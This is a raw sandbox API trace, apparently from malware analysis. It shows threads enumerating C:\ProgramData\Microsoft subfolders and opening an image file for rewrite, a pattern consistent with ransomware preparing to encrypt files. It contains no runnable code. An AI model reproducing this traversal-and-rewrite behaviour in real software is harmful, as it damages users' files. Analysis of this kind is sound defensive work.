	[0079.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ed0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe0
	[0079.020] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe349c49, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xbe349c49, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbe349c49, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemData", cAlternateFileName="SYSTEM~1")) returned 1
	[0079.020] wcscmp (_String1="SystemData", _String2=".") returned 1
	[0079.020] wcscmp (_String1="SystemData", _String2="..") returned 1
	[0079.020] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2dae9a8
	[0079.020] wcscpy (in: _Dest=0x2dae9a8, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.020] wcscat (in: _Dest=0x2dae9a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.020] wcscat (in: _Dest=0x2dae9a8, _Source="SystemData" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\SystemData") returned="C:\\ProgramData\\Microsoft\\Windows\\SystemData"
	[0079.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dae9a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe4
	[0079.021] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d1ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0079.021] wcscmp (_String1="Templates", _String2=".") returned 1
	[0079.021] wcscmp (_String1="Templates", _String2="..") returned 1
	[0079.021] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2daf4e8
	[0079.021] wcscpy (in: _Dest=0x2daf4e8, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.021] wcscat (in: _Dest=0x2daf4e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.021] wcscat (in: _Dest=0x2daf4e8, _Source="Templates" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates"
	[0079.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2daf4e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe8
	[0079.021] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d22c5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1
	[0079.021] wcscmp (_String1="WER", _String2=".") returned 1
	[0079.022] wcscmp (_String1="WER", _String2="..") returned 1
	[0079.022] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2dabc90
	[0079.022] wcscpy (in: _Dest=0x2dabc90, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.022] wcscat (in: _Dest=0x2dabc90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.022] wcscat (in: _Dest=0x2dabc90, _Source="WER" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER") returned="C:\\ProgramData\\Microsoft\\Windows\\WER"
	[0079.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dabc90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfec
	[0079.022] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8846c94f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wfp", cAlternateFileName="")) returned 1
	[0079.022] wcscmp (_String1="wfp", _String2=".") returned 1
	[0079.022] wcscmp (_String1="wfp", _String2="..") returned 1
	[0079.022] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2dab8c8
	[0079.022] wcscpy (in: _Dest=0x2dab8c8, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.023] wcscat (in: _Dest=0x2dab8c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.023] wcscat (in: _Dest=0x2dab8c8, _Source="wfp" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\wfp") returned="C:\\ProgramData\\Microsoft\\Windows\\wfp"
	[0079.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dab8c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff0
	[0079.023] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8846c94f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wfp", cAlternateFileName="")) returned 0
	[0079.023] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.023] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e27b30) returned 1
	[0079.023] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf9d0) returned 1
	[0079.023] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8adb0) returned 1

Thread:
	id = 320
	os_tid = 0x1428

	[0076.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78718
	[0076.857] wcscpy (in: _Dest=0x2d78718, _Source="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection"
	[0076.857] wcscat (in: _Dest=0x2d78718, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\"
	[0076.857] wcscat (in: _Dest=0x2d78718, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\*") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\*"
	[0076.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e27d98
	[0076.857] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\*", lpFindFileData=0x2e27d98 | out: lpFindFileData=0x2e27d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87778
	[0079.951] wcscmp (_String1=".", _String2=".") returned 0
	[0079.951] FindNextFileW (in: hFindFile=0x2d87778, lpFindFileData=0x2e27d98 | out: lpFindFileData=0x2e27d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.951] wcscmp (_String1="..", _String2=".") returned 1
	[0079.951] wcscmp (_String1="..", _String2="..") returned 0
	[0079.951] FindNextFileW (in: hFindFile=0x2d87778, lpFindFileData=0x2e27d98 | out: lpFindFileData=0x2e27d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a9166d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0079.951] wcscmp (_String1="Cache", _String2=".") returned 1
	[0079.951] wcscmp (_String1="Cache", _String2="..") returned 1
	[0079.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x2e2a7b8
	[0079.951] wcscpy (in: _Dest=0x2e2a7b8, _Source="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection"
	[0079.951] wcscat (in: _Dest=0x2e2a7b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\"
	[0079.951] wcscat (in: _Dest=0x2e2a7b8, _Source="Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache"
	[0092.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4986128
	[0092.239] wcscpy (in: _Dest=0x4986128, _Source="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache"
	[0092.240] wcscat (in: _Dest=0x4986128, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\"
	[0092.240] wcscat (in: _Dest=0x4986128, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\*") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\*"
	[0092.240] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0092.240] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0092.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712c10) returned 1
	[0092.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986128) returned 1
	[0092.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a7b8) returned 1
	[0092.240] FindNextFileW (in: hFindFile=0x2d87778, lpFindFileData=0x2e27d98 | out: lpFindFileData=0x2e27d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0092.240] wcscmp (_String1="Temp", _String2=".") returned 1
	[0092.240] wcscmp (_String1="Temp", _String2="..") returned 1
	[0092.240] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4895400
	[0092.240] wcscpy (in: _Dest=0x4895400, _Source="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection"
	[0092.240] wcscat (in: _Dest=0x4895400, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\"
	[0092.240] wcscat (in: _Dest=0x4895400, _Source="Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp"
	[0092.240] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4894e60
	[0092.240] wcscpy (in: _Dest=0x4894e60, _Source="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp"
	[0092.240] wcscat (in: _Dest=0x4894e60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\"
	[0092.240] wcscat (in: _Dest=0x4894e60, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\*") returned="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\*"
	[0092.240] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712008
	[0092.240] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\*", lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.241] wcscmp (_String1=".", _String2=".") returned 0
	[0092.241] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.241] wcscmp (_String1="..", _String2=".") returned 1
	[0092.241] wcscmp (_String1="..", _String2="..") returned 0
	[0092.241] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.241] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712008) returned 1
	[0092.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894e60) returned 1
	[0092.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895400) returned 1
	[0092.241] FindNextFileW (in: hFindFile=0x2d87778, lpFindFileData=0x2e27d98 | out: lpFindFileData=0x2e27d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0
	[0092.241] FindClose (in: hFindFile=0x2d87778 | out: hFindFile=0x2d87778) returned 1
	[0092.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e27d98) returned 1
	[0092.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78718) returned 1
	[0092.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78680) returned 1

Thread:
	id = 321
	os_tid = 0x142c

	[0076.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac2c0
	[0076.858] wcscpy (in: _Dest=0x2dac2c0, _Source="C:\\ProgramData\\Microsoft\\Windows Live" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Live") returned="C:\\ProgramData\\Microsoft\\Windows Live"
	[0076.858] wcscat (in: _Dest=0x2dac2c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Live\\") returned="C:\\ProgramData\\Microsoft\\Windows Live\\"
	[0076.858] wcscat (in: _Dest=0x2dac2c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Live\\*") returned="C:\\ProgramData\\Microsoft\\Windows Live\\*"
	[0076.859] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e28c08
	[0076.859] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Live\\*", lpFindFileData=0x2e28c08 | out: lpFindFileData=0x2e28c08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87738
	[0079.950] wcscmp (_String1=".", _String2=".") returned 0
	[0079.950] FindNextFileW (in: hFindFile=0x2d87738, lpFindFileData=0x2e28c08 | out: lpFindFileData=0x2e28c08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.950] wcscmp (_String1="..", _String2=".") returned 1
	[0079.950] wcscmp (_String1="..", _String2="..") returned 0
	[0079.950] FindNextFileW (in: hFindFile=0x2d87738, lpFindFileData=0x2e28c08 | out: lpFindFileData=0x2e28c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a996721, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1231, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLive48x48.png", cAlternateFileName="WLIVE4~1.PNG")) returned 1
	[0079.950] wcscmp (_String1="WLive48x48.png", _String2=".") returned 1
	[0079.951] wcscmp (_String1="WLive48x48.png", _String2="..") returned 1
	[0079.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753908
	[0079.951] wcscpy (in: _Dest=0x4753908, _Source="C:\\ProgramData\\Microsoft\\Windows Live" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Live") returned="C:\\ProgramData\\Microsoft\\Windows Live"
	[0079.951] wcscat (in: _Dest=0x4753908, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Live\\") returned="C:\\ProgramData\\Microsoft\\Windows Live\\"
	[0079.951] wcscat (in: _Dest=0x4753908, _Source="WLive48x48.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png") returned="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png"
	[0092.242] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png" (normalized: "c:\\programdata\\microsoft\\windows live\\wlive48x48.png")) returned 0x20
	[0092.244] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png", dwFileAttributes=0x20) returned 1
	[0092.244] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png" (normalized: "c:\\programdata\\microsoft\\windows live\\wlive48x48.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x148c
	[0092.245] GetFileSizeEx (in: hFile=0x148c, lpFileSize=0xe13f8a0 | out: lpFileSize=0xe13f8a0*=4657) returned 1
	[0092.245] SetFilePointerEx (in: hFile=0x148c, liDistanceToMove=0x122d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.245] ReadFile (in: hFile=0x148c, lpBuffer=0xe13f824, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe13f820, lpOverlapped=0x0 | out: lpBuffer=0xe13f824*, lpNumberOfBytesRead=0xe13f820*=0x4, lpOverlapped=0x0) returned 1
	[0092.289] SetFilePointerEx (in: hFile=0x148c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.289] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731bf0
	[0092.289] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0092.289] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0092.289] NtQuerySystemTime (in: CurrentTime=0xe13f800 | out: CurrentTime=0xe13f800*=132251868190253681) returned 0x0
	[0092.289] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x99afb038
	[0092.289] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x80e9bb4a
	[0092.289] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x9b873880
	[0092.289] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x43e475a
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x665552e1
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x5a689eae
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xb716674d
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x156de1b3
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x3e73ab3e
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xa40d6d82
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xc501ee64
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xda26d9e2
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x5b9974db
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xb81f471
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x9f9c5dd7
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x4aa09607
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xd6c3a3d5
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x57671ff1
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xd3b737f0
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x4b8b80fb
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x6637787b
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x73534e85
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xb28e1421
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x9b6be45c
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xef874050
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xcada37c0
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0xc2179a0
	[0092.290] RtlRandom (in: Seed=0xe13f80c | out: Seed=0xe13f80c) returned 0x644f867c
